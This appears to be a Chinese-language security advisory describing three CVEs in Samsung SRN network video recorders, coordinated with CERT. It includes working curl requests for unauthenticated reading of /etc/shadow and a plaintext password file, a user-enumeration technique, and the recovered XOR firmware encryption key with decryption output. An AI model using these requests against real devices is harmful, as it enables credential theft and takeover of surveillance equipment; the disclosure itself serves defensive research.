经过研究,我们能够证实,在三星SRN系列网络硬盘录像机中存在多个安全漏洞,严重影响设备的数据安全。攻击者利用这些漏洞,无需进行身份验证,便可直接远程控制设备。我们要感谢CMU CERT(卡内基梅隆大学互联网安全事件报告中心)的协助,对该漏洞的研究提供了很大的帮助。
具体说来,我们发现了三种不同的安全问题,以下将对每个问题展开说明。
1.Arbitary file read(CVE-2015-8279)—所有文件可任意读取
攻击者可自行编写一个未授权的PHP页面,来读取任一本地文件。这一步对于网络攻击者来说,仅仅只是小菜一碟。因为只要他们想读取哪个文件,都可以在所获取的URL参数中得到那个文件名。
比如,想要读取本地文件/etc/shadow,就必须执行下面的请求:
$ curl -v http://<target IP>/cslog_export.php?path=/etc/shadow
攻击者可以利用该漏洞读取一个存储Web界面凭证的本地文件。在测试设备中,我们把上述的文件,按/root/php_modules/lighttpd/sbin/userpw,路径保存,该文件包含以明文形式保存的用户名和密码。这样就给攻击者提供了机会,他们想要盗取该数据,可以说是不费吹灰之力。
2.Weak firmware encryption(CVE-2015-8281)—固件加密保护程度不足
设备供应商告诉每一个购买SRN系列产品的顾客说,他们可以在SRN的官网上对相关软件进行更新。但是,固件图像用一种专有模式进行了加密,顾客无法做到这一点。
例如:在文件mproject_add_header.dtb中,最开始的几个字节包含一个隐藏标识名(EncryptFileFormat),是否带有这个标识名,就是文件加密与否的标志。
$ xxd mproject_add_header.dtb | head
00000000: 456e 6372 7970 7446 696c 6546 6f72 6d61 EncryptFileForma
00000010: 740a cdbb 53bd 4e6f 903e 7869 1af3 c98d t...S.No.>xi....
然而,当你看到文件末尾时,会发现一个反复出现的字节模式:
$ xxd mproject_add_header.dtb | tail
000026e0: e854 1db6 ad50 4e6f b70e 7869 1acb c98d .T...PNo..xi....
000026f0: e854 1db6 ad50 4e6f b70e 7869 1acb c98d .T...PNo..xi....
00002700: e854 1db6 ad50 4e6f b70e 7869 1acb c98d .T...PNo..xi....
00002710: e854 1db6 ad50 4e6f b70e 7869 1acb c98d .T...PNo..xi....
00002720: e854 1db6 ad50 4e6f b70e 7869 1acb c98d .T...PNo..xi....
00002730: e854 1db6 ad50 4e6f b70e 7869 1acb c98d .T...PNo..xi....
...
由于考虑到文件是经过加密的,同时假设设备供应商使用了一个标准的加密方案,一些加密算法就会产生这样的循环模式。这其中最显著的假设就是异或加密(XOR encryption)。
通常当文件位数不够时,会用零在文件末尾进行补足。我们推测该文件在进行异或加密时,所用的16字节加密密钥应该是 e854 1db6 ad50 4e6f b70e 7869 1acb c98d。我们就试着用该密钥对固件和文件进行解密,结果都成功了。
$ python ../decrypt.py mproject_add_header.dtb | xxd | head
00000000: 9c5e d00d feed 0000 2730 0000 0038 0000 .^......'0...8..
00000010: 20b0 0000 0028 0000 0011 0000 0010 0000 ....(..........
00000020: 0000 0000 0280 0000 2078 0000 0000 0000 ........ x......
00000030: 0000 0000 0000 0000 0000 0000 0001 0000 ................
00000040: 0000 0000 0003 0000 000e 0000 0000 6673 ..............fs
00000050: 6c2c 6d70 6338 3533 3664 7300 0000 0000 l,mpc8536ds.....
00000060: 0003 0000 000e 0000 0006 6673 6c2c 6d70 ..........fsl,mp
00000070: 6338 3533 3664 7300 0000 0000 0003 0000 c8536ds.........
00000080: 0004 0000 0011 0000 0002 0000 0003 0000 ................
00000090: 0004 0000 0020 0000 0002 0000 0001 616c ..... ........al
同一个异或加密码可用于解密该固件的其他组件。包含有ext2文件系统的任一一个元素,都有着与设备主分区相同的属性。
3.User enumeration(CVE-2015-8280)—用户枚举漏洞
远程攻击者可通过采用不同的用户名和密码进行试探登录,查看返回的错误消息的方式,来枚举出正确的Web用户名。
例如:当输入了一个无效的用户名时,系统就会弹出一个“ID错误”的页面。请求如下所示:
$ curl -d "data1=$(echo -n invalid | base64)&data2=x" http://<target IP>/login<meta http-equiv='Content-Type' content='text/html; charset=UTF-8'/><script type='text/javascript' language='javascript'> ("Wrong ID"); top.location.href="./index.html";
然而,当输入用户名和密码后,若系统提示“密码错误”,则说明该用户名是正确的。
$ curl -d "data1=$(echo -n admin | base64)&data2=x" http://<target IP>/login
<meta http-equiv='Content-Type' content='text/html; charset=UTF-8'/>
<script type='text/javascript' language='javascript'>
("Wrong Password");
top.location.href="./index.html";
根据我们的研究:型号为Samsung SRN-1670D (浏览器版本:1,0,0,193, 生产日期: 2013.10.26)的网络硬盘录像机受漏洞的影响最为严重,其他类似的设备和软件也可能受到了影响,只是我们还没有对它们进行进一步的测试,不好妄下断言。
还没有评论,来说两句吧...